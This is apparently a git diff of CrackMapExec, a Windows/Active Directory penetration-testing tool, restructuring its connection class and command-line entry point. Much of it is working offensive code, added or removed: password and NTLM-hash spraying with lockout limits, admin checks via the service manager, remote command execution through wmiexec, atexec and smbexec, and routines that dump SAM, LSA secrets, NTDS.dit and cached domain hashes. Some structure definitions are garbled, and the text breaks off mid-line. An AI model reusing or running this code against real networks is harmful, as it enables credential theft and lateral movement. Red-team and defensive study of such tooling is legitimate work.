cmeserver.server.context.localip = local_ip + if hasattr(self.module, 'on_request') or hasattr(self.module, 'has_response'): + self.server.context.localip = self.local_ip - if self.module: + if hasattr(self.module, 'on_login'): + self.module.on_login(context, self) - launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) - payload = module.payload(context, None if not hasattr(module, 'command') else module.command) + if self.admin_privs and hasattr(self.module, 'on_admin_login'): + self.module.on_admin_login(context, self) - if hasattr(module, 'on_login'): - module.on_login(context, self, launcher, payload) - - if self.admin_privs and hasattr(module, 'on_admin_login'): - module.on_admin_login(context, self, launcher, payload) - - elif self.chain_list: - module_list = self.chain_list[:] - module_list.reverse() - - final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) - if len(module_list) > 2: - for m in module_list: - if m['object'] == module or m['object'] == module_list[0]['object']: - continue - - final_launcher = m['object'].launcher(context, final_launcher) - - if module == module_list[0]['object']: - final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command - - launcher = module.launcher(context, final_launcher) - payload = module.payload(context, final_launcher) - - if hasattr(module, 'on_login'): - module.on_login(context, self) - - if self.admin_privs and hasattr(module, 'on_admin_login'): - module.on_admin_login(context, self, launcher, payload) - - elif self.module is None and self.chain_list is None: + else: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)() + def inc_failed_login(self, username): + global global_failed_logins + global user_failed_logins + + if username not in user_failed_logins.keys(): + user_failed_logins[username] = 0 + + user_failed_logins[username] += 1 + global_failed_logins += 1 + self.failed_logins += 1 + def over_fail_limit(self, username): global global_failed_logins global user_failed_logins if global_failed_logins == self.args.gfail_limit: return True + if self.failed_logins == self.args.fail_limit: return True + if username in user_failed_logins.keys(): if self.args.ufail_limit == user_failed_logins[username]: return True return False - def check_if_admin(self): - if self.args.mssql: - try: - #I'm pretty sure there has to be a better way of doing this. - #Currently we are just searching for our user in the sysadmin group - - self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") - query_output = self.conn.printRows() - if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: - self.admin_privs = True - except: - pass - - elif not self.args.mssql: - ''' - We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. - If this succeeds, the user context has administrator access to the target. - - Idea stolen from PowerView's Invoke-CheckLocalAdminAccess - ''' - - stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host) - - rpctransport = transport.DCERPCTransportFactory(stringBinding) - rpctransport.set_dport(self.args.smb_port) - - lmhash = '' - nthash = '' - if self.hash: - if self.hash.find(':') != -1: - lmhash, nthash = self.hash.split(':') - else: - nthash = self.hash - - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(scmr.MSRPC_UUID_SCMR) - - lpMachineName = '{}\x00'.format(self.host) - try: - - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - - resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F) - self.admin_privs = True - except DCERPCException: - pass - - def plaintext_login(self, domain, username, password): - try: - if self.args.mssql: - res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False) - if res is not True: - self.conn.printReplies() - return False - - elif not self.args.mssql: - self.conn.login(username, password, domain) - - self.password = password - self.username = username - self.domain = domain - self.check_if_admin() - self.db.add_credential('plaintext', domain, username, password) - - if self.admin_privs: - self.db.link_cred_to_host('plaintext', domain, username, password, self.host) - - out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'), - username.decode('utf-8'), - password.decode('utf-8'), - highlight('(Pwn3d!)') if self.admin_privs else '') - - self.logger.success(out) - return True - except SessionError as e: - error, desc = e.getErrorString() - self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'), - username.decode('utf-8'), - password.decode('utf-8'), - error, - '({})'.format(desc) if self.args.verbose else '')) - if error == 'STATUS_LOGON_FAILURE': - global global_failed_logins - global user_failed_logins - - if username not in user_failed_logins.keys(): - user_failed_logins[username] = 0 - - user_failed_logins[username] += 1 - global_failed_logins += 1 - self.failed_logins += 1 - - return False - - def hash_login(self, domain, username, ntlm_hash): - lmhash = '' - nthash = '' - - #This checks to see if we didn't provide the LM Hash - if ntlm_hash.find(':') != -1: - lmhash, nthash = ntlm_hash.split(':') - else: - nthash = ntlm_hash - - try: - if self.args.mssql: - res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False) - if res is not True: - self.conn.printReplies() - return False - - elif not self.args.mssql: - self.conn.login(username, '', domain, lmhash, nthash) - - self.hash = ntlm_hash - self.username = username - self.domain = domain - self.check_if_admin() - self.db.add_credential('hash', domain, username, ntlm_hash) - - if self.admin_privs: - self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host) - - out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), - username.decode('utf-8'), - ntlm_hash, - highlight('(Pwn3d!)') if self.admin_privs else '') - - self.logger.success(out) - return True - except SessionError as e: - error, desc = e.getErrorString() - self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'), - username.decode('utf-8'), - ntlm_hash, - error, - '({})'.format(desc) if self.args.verbose else '')) - if error == 'STATUS_LOGON_FAILURE': - global global_failed_logins - global user_failed_logins - - if username not in user_failed_logins.keys(): - user_failed_logins[username] = 0 - - user_failed_logins[username] += 1 - global_failed_logins += 1 - self.failed_logins += 1 - - return False - def login(self): for cred_id in self.args.cred_id: with sem: @@ -383,15 +123,15 @@ class Connection: if self.args.local_auth: domain = self.domain - elif self.args.domain: + elif self.args.domain: domain = self.args.domain if credtype == 'hash' and not self.over_fail_limit(username): - if self.hash_login(domain, username, password): return + if self.hash_login(domain, username, password): return True elif credtype == 'plaintext' and not self.over_fail_limit(username): - if self.plaintext_login(domain, username, password): return - + if self.plaintext_login(domain, username, password): return True + except IndexError: self.logger.error("Invalid database credential ID!") @@ -403,12 +143,12 @@ class Connection: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if not self.over_fail_limit(usr.strip()): - if self.hash_login(self.domain, usr.strip(), ntlm_hash): return - + if self.hash_login(self.domain, usr.strip(), ntlm_hash): return True + elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if not self.over_fail_limit(usr.strip()): - if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return + if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return True ntlm_hash.seek(0) elif self.args.password: @@ -416,12 +156,12 @@ class Connection: for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(usr.strip()): - if self.plaintext_login(self.domain, usr.strip(), password): return - + if self.plaintext_login(self.domain, usr.strip(), password): return True + elif type(password) is file: for f_pass in password: if not self.over_fail_limit(usr.strip()): - if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return + if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return True password.seek(0) elif type(user) is not file: @@ -430,12 +170,12 @@ class Connection: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if not self.over_fail_limit(user): - if self.hash_login(self.domain, user, ntlm_hash): return - + if self.hash_login(self.domain, user, ntlm_hash): return True + elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if not self.over_fail_limit(user): - if self.hash_login(self.domain, user, f_hash.strip()): return + if self.hash_login(self.domain, user, f_hash.strip()): return True ntlm_hash.seek(0) elif self.args.password: @@ -443,142 +183,10 @@ class Connection: for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(user): - if self.plaintext_login(self.domain, user, password): return - + if self.plaintext_login(self.domain, user, password): return True + elif type(password) is file: for f_pass in password: if not self.over_fail_limit(user): - if self.plaintext_login(self.domain, user, f_pass.strip()): return + if self.plaintext_login(self.domain, user, f_pass.strip()): return True password.seek(0) - - @requires_admin - def execute(self, payload=None, get_output=False, methods=None): - - default_methods = ['wmiexec', 'atexec', 'smbexec'] - - if not payload and self.args.execute: - payload = self.args.execute - if not self.args.no_output: get_output = True - - if self.args.mssql: - exec_method = MSSQLEXEC(self.conn) - logging.debug('Executed command via mssqlexec') - - elif not self.args.mssql: - - if not methods and not self.args.exec_method: - methods = default_methods - - elif methods or self.args.exec_method: - - if not methods: - methods = [self.args.exec_method] - - for method in methods: - - if method == 'wmiexec': - try: - exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) - logging.debug('Executed command via wmiexec') - break - except: - logging.debug('Error executing command via wmiexec, traceback:') - logging.debug(format_exc()) - continue - - elif method == 'atexec': - try: - exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share) - logging.debug('Executed command via atexec') - break - except: - logging.debug('Error executing command via atexec, traceback:') - logging.debug(format_exc()) - continue - - elif method == 'smbexec': - try: - exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) - logging.debug('Executed command via smbexec') - break - except: - logging.debug('Error executing command via smbexec, traceback:') - logging.debug(format_exc()) - continue - - if self.cmeserver: self.cmeserver.track_host(self.host) - - output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8')) - - if self.args.execute or self.args.ps_execute: - self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) - buf = StringIO(output).readlines() - for line in buf: - self.logger.highlight(line.strip()) - - return output - - @requires_admin - def ps_execute(self, payload=None, get_output=False, methods=None): - if not payload and self.args.ps_execute: - payload = self.args.ps_execute - if not self.args.no_output: get_output = True - - return self.execute(create_ps_command(payload), get_output, methods) - - @requires_admin - def sam(self): - return DumpSecrets(self).SAM_dump() - - @requires_admin - def lsa(self): - return DumpSecrets(self).LSA_dump() - - @requires_admin - def ntds(self): - #We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory - DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history) - - @requires_admin - def wdigest(self): - return getattr(WDIGEST(self), self.args.wdigest)() - - def shares(self): - return ShareEnum(self).enum() - - @requires_admin - def uac(self): - return UAC(self).enum() - - def sessions(self): - return RPCQUERY(self).enum_sessions() - - def disks(self): - return RPCQUERY(self).enum_disks() - - def users(self): - return SAMRDump(self).enum() - - def rid_brute(self): - return LSALookupSid(self).brute_force() - - def pass_pol(self): - return PassPolDump(self).enum() - - def lusers(self): - return RPCQUERY(self).enum_lusers() - - @requires_admin - def wmi(self): - return WMIQUERY(self).query() - - def spider(self): - spider = SMBSpider(self) - spider.spider(self.args.spider, self.args.depth) - spider.finish() - - return spider.results - - def mssql_query(self): - self.conn.sql_query(self.args.mssql_query) - return conn.printRows() \ No newline at end of file diff --git a/cme/context.py b/cme/context.py old mode 100644 new mode 100755 index 99373631..5653cbfa --- a/cme/context.py +++ b/cme/context.py @@ -4,7 +4,7 @@ from ConfigParser import ConfigParser class Context: - def __init__(self, db, logger, arg_namespace): + def __init__(self, db, logger, args): self.db = db self.log = logger self.log.debug = logging.debug @@ -13,5 +13,5 @@ class Context: self.conf = ConfigParser() self.conf.read(os.path.expanduser('~/.cme/cme.conf')) - for key, value in vars(arg_namespace).iteritems(): - setattr(self, key, value) \ No newline at end of file + for key, value in vars(args).iteritems(): + setattr(self, key, value) diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py old mode 100644 new mode 100755 index 88681cb8..13ab7b6b --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -6,179 +6,80 @@ monkey.patch_all() from gevent.pool import Pool from gevent import joinall -from argparse import RawTextHelpFormatter -from cme.connection import Connection -from cme.database import CMEDatabase from cme.logger import setup_logger, setup_debug_logger, CMEAdapter -from cme.helpers import highlight, gen_random_string +from cme.helpers.misc import gen_random_string from cme.targetparser import parse_targets -from cme.moduleloader import ModuleLoader -from cme.modulechainloader import ModuleChainLoader -from cme.cmesmbserver import CMESMBServer +from cme.cli import gen_cli_args +from cme.loaders.protocol_loader import protocol_loader +from cme.loaders.module_loader import module_loader +#from cme.modulechainloader import ModuleChainLoader +from cme.servers.http import CMEServer +from cme.servers.smb import CMESMBServer from cme.first_run import first_run_setup +from cme.context import Context from getpass import getuser from pprint import pformat +from ConfigParser import ConfigParser +import cme +import webbrowser import sqlite3 -import argparse +import random import os import sys import logging def main(): - VERSION = '3.1.5-dev' - CODENAME = '\'Stoofvlees\'' - - parser = argparse.ArgumentParser(description=""" - ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ - / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | - | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' - | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | - | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. - \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| - - - Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r - - Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) - - Inspired by: - @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap - @gojhonny's CredCrack https://github.com/gojhonny/CredCrack - @pentestgeek's smbexec https://github.com/pentestgeek/smbexec - - {}: {} - {}: {} - """.format(highlight('Version', 'red'), - highlight(VERSION), - highlight('Codename', 'red'), - highlight(CODENAME)), - - formatter_class=RawTextHelpFormatter, - version='{} - {}'.format(VERSION, CODENAME), - epilog="What is it? It's a stew... But what is it? It's a stew...") - - parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets") - parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)") - parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication') - parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames") - ddgroup = parser.add_mutually_exclusive_group() - ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") - ddgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target') - msgroup = parser.add_mutually_exclusive_group() - msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '+', default=[], help="Password(s) or file(s) containing passwords") - msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') - mcgroup = parser.add_mutually_exclusive_group() - mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use') - mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') - parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options') - parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules') - parser.add_argument('--show-options', action='store_true', help='Display module options') - parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)") - parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") - parser.add_argument("--mssql-port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)') - parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)') - parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') - parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port') - parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)') - fail_group = parser.add_mutually_exclusive_group() - fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts') - fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username') - fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host') - parser.add_argument("--verbose", action='store_true', help="Enable verbose output") - - rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials") - rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') - rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') - rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)") - rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') - rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') - rgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1") - - egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") - egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access") - egroup.add_argument('--uac', action='store_true', help='Checks UAC status') - egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions') - egroup.add_argument('--disks', action='store_true', help='Enumerate disks') - egroup.add_argument("--users", action='store_true', help='Enumerate users') - egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)') - egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy') - egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users') - egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query') - egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)') - - sgroup = parser.add_argument_group("Spidering", "Options for spidering shares") - sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)') - sgroup.add_argument("--content", action='store_true', help='Enable file content searching') - sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering') - esgroup = sgroup.add_mutually_exclusive_group() - esgroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content') - esgroup.add_argument("--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content') - sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)') - - cgroup = parser.add_argument_group("Command Execution", "Options for executing commands") - cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") - cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process') - cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output') - xxxgroup = cgroup.add_mutually_exclusive_group() - xxxgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command") - xxxgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command') - - mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs") - mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs') - mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB') - mgroup.add_argument("--mssql-auth", choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)') - - logger = CMEAdapter(setup_logger()) + setup_logger() + logger = CMEAdapter() first_run_setup(logger) - if len(sys.argv) == 1: - parser.print_help() + args = gen_cli_args() + + if args.darrell: + links = open(os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrel.txt')).read().splitlines() + try: + webbrowser.open(random.choice(links)) + except: + print "Darrel wtf I'm trying to help you, here have a gorilla..." sys.exit(1) - + cme_path = os.path.expanduser('~/.cme') - module = None - chain_list = None - server = None - context = None - smb_server = None - share_name = gen_random_string(5).upper() - targets = [] + config = ConfigParser() + config.read(os.path.join(cme_path, 'cme.conf')) - args = parser.parse_args() + #module = None + #chain_list = None + smb_share_name = gen_random_string(5).upper() + server_port_dict = {'http': 80, 'https': 443, 'smb': 445} + targets = [] + current_workspace = config.get('CME', 'workspace') if args.verbose: setup_debug_logger() logging.debug('Passed args:\n' + pformat(vars(args))) - db_path = os.path.join(cme_path, 'cme.db') - # set the database connection to autocommit w/ isolation level - db_connection = sqlite3.connect(db_path, check_same_thread=False) - db_connection.text_factory = str - db_connection.isolation_level = None - db = CMEDatabase(db_connection) - - if args.username: + if hasattr(args, 'username') and args.username: for user in args.username: if os.path.exists(user): args.username.remove(user) args.username.append(open(user, 'r')) - if args.password: + if hasattr(args, 'password') and args.password: for passw in args.password: if os.path.exists(passw): args.password.remove(passw) args.password.append(open(passw, 'r')) - elif args.hash: + elif hasattr(args, 'hash') and args.hash: for ntlm_hash in args.hash: if os.path.exists(ntlm_hash): args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) - if args.cred_id: + if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') @@ -190,72 +91,95 @@ def main(): logger.error('Error parsing database credential id: {}'.format(e)) sys.exit(1) - for target in args.target: - if os.path.exists(target): - with open(target, 'r') as target_file: - for target_entry in target_file: - targets.extend(parse_targets(target_entry)) - else: - targets.extend(parse_targets(target)) + if hasattr(args, 'target') and args.target: + for target in args.target: + if os.path.exists(target): + with open(target, 'r') as target_file: + for target_entry in target_file: + targets.extend(parse_targets(target_entry)) + else: + targets.extend(parse_targets(target)) - if args.list_modules: - loader = ModuleLoader(args, db, logger) - modules = loader.get_modules() + smb_server = CMESMBServer(logger, smb_share_name, args.verbose) + smb_server.start() - for m in modules: - logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description'])) - sys.exit(0) + p_loader = protocol_loader() + protocol_path = p_loader.get_protocols()[args.protocol]['path'] + protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] - elif args.module and args.show_options: - loader = ModuleLoader(args, db, logger) - modules = loader.get_modules() + protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) + protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') - for m in modules.keys(): - if args.module.lower() == m.lower(): - logger.info('{} module options:\n{}'.format(m, modules[m]['options'])) - sys.exit(0) + db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db') + # set the database connection to autocommit w/ isolation level + db_connection = sqlite3.connect(db_path, check_same_thread=False) + db_connection.text_factory = str + db_connection.isolation_level = None + db = protocol_db_object(db_connection) - if args.execute or args.ps_execute or args.module or args.module_chain: + setattr(protocol_object, 'smb_share_name', smb_share_name) - if os.geteuid() != 0: - logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser())) - sys.exit(1) + if hasattr(args, 'module'): #or hasattr(args, 'module_chain'): - loader = ModuleLoader(args, db, logger) - modules = loader.get_modules() + loader = module_loader(args, db, logger) - smb_server = CMESMBServer(logger, share_name, args.verbose) - smb_server.start() + if args.list_modules: + modules = loader.get_modules() - if args.module: + for m in modules: + logger.info('{:<25} {}'.format(m, modules[m]['description'])) + + elif args.module and args.module_options: + + modules = loader.get_modules() for m in modules.keys(): if args.module.lower() == m.lower(): - module, context, server = loader.init_module(modules[m]['path']) - - elif args.module_chain: - chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain() + logger.info('{} module options:\n{}'.format(m, modules[m]['options'])) + + elif args.module: + modules = loader.get_modules() + for m in modules.keys(): + if args.module.lower() == m.lower(): + module = loader.init_module(modules[m]['path']) + setattr(protocol_object, 'module', module) + break + + if hasattr(module, 'on_request') or hasattr(module, 'has_response'): + + if hasattr(module, 'required_server'): + args.server = getattr(module, 'required_server') + + if not args.server_port: + args.server_port = server_port_dict[args.server] + + context = Context(db, logger, args) + server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server) + server.start() + + setattr(protocol_object, 'server', server.server) try: ''' - Open all the greenlet (as supposed to redlet??) threads + Open all the greenlet (as supposed to redlet??) threads Whoever came up with that name has a fetish for traffic lights ''' pool = Pool(args.threads) - jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets] - + jobs = [pool.spawn(protocol_object, args, db, str(target)) for target in targets] #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout - if args.ntds or args.spider: - joinall(jobs) - elif not args.ntds: - for job in jobs: - job.join(timeout=args.timeout) + #if args.ntds or args.spider: + # joinall(jobs) + #else: + for job in jobs: + job.join(timeout=args.timeout) except KeyboardInterrupt: pass - if server: + try: server.shutdown() + except: + pass - if smb_server: - smb_server.shutdown() + smb_server.shutdown() - logger.info('KTHXBYE!') \ No newline at end of file + print '\n' + logger.info('KTHXBYE!') diff --git a/cme/credentials/commonstructs.py b/cme/credentials/commonstructs.py deleted file mode 100644 index 937eb62b..00000000 --- a/cme/credentials/commonstructs.py +++ /dev/null @@ -1,149 +0,0 @@ -from impacket.structure import Structure -from struct import unpack - -# Structures -# Taken from http://insecurety.net/?p=768 -class SAM_KEY_DATA(Structure): - structure = ( - ('Revision','L',self['SubAuthority'][i*4:i*4+4])[0]) - return ans - -class LSA_SECRET_BLOB(Structure): - structure = ( - ('Length','> 0x01) ) - OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) - OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) - OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) - OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) - OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) - OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) - OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) - - for i in range(8): - OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) - - return "".join(OutputKey) - - def deriveKey(self, baseKey): - # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key - # Let I be the little-endian, unsigned integer. - # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. - # Note that because I is in little-endian byte order, I[0] is the least significant byte. - # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. - # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] - key = pack(' 0: - return data + (data & 0x3) - else: - return data - - def dumpCachedHashes(self): - if self.__securityFile is None: - # No SECURITY file provided - return - - self.__logger.success('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)') - - # Let's first see if there are cached entries - values = self.enumValues('\\Cache') - if values is None: - # No cache entries - return - try: - # Remove unnecesary value - values.remove('NL$Control') - except: - pass - - self.__getLSASecretKey() - self.__getNLKMSecret() - - for value in values: - logging.debug('Looking into %s' % value) - record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) - if record['CH'] != 16 * '\x00': - if self.__vistaStyle is True: - plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) - else: - plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH']) - pass - encHash = plainText[:0x10] - plainText = plainText[0x48:] - userName = plainText[:record['UserLength']].decode('utf-16le') - plainText = plainText[self.__pad(record['UserLength']):] - domain = plainText[:record['DomainNameLength']].decode('utf-16le') - plainText = plainText[self.__pad(record['DomainNameLength']):] - domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le') - answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain) - self.__cachedItems.append(answer) - self.__logger.highlight(answer) - - return self.__cachedItems - - def __printSecret(self, name, secretItem): - # Based on [MS-LSAD] section 3.1.1.4 - - # First off, let's discard NULL secrets. - if len(secretItem) == 0: - logging.debug('Discarding secret %s, NULL Data' % name) - return - - # We might have secrets with zero - if secretItem.startswith('\x00\x00'): - logging.debug('Discarding secret %s, all zeros' % name) - return - - upperName = name.upper() - - logging.info('%s ' % name) - - secret = '' - - if upperName.startswith('_SC_'): - # Service name, a password might be there - # Let's first try to decode the secret - try: - strDecoded = secretItem.decode('utf-16le') - except: - pass - else: - # We have to get the account the service - # runs under - if self.__isRemote is True: - account = self.__remoteOps.getServiceAccount(name[4:]) - if account is None: - secret = '(Unknown User):' - else: - secret = "%s:" % account - else: - # We don't support getting this info for local targets at the moment - secret = '(Unknown User):' - secret += strDecoded - elif upperName.startswith('DEFAULTPASSWORD'): - # defaults password for winlogon - # Let's first try to decode the secret - try: - strDecoded = secretItem.decode('utf-16le') - except: - pass - else: - # We have to get the account this password is for - if self.__isRemote is True: - account = self.__remoteOps.getDefaultLoginAccount() - if account is None: - secret = '(Unknown User):' - else: - secret = "%s:" % account - else: - # We don't support getting this info for local targets at the moment - secret = '(Unknown User):' - secret += strDecoded - elif upperName.startswith('ASPNET_WP_PASSWORD'): - try: - strDecoded = secretItem.decode('utf-16le') - except: - pass - else: - secret = 'ASPNET: %s' % strDecoded - elif upperName.startswith('$MACHINE.ACC'): - # compute MD4 of the secret.. yes.. that is the nthash? :-o - md4 = MD4.new() - md4.update(secretItem) - if self.__isRemote is True: - machine, domain = self.__remoteOps.getMachineNameAndDomain() - secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) - else: - secret = 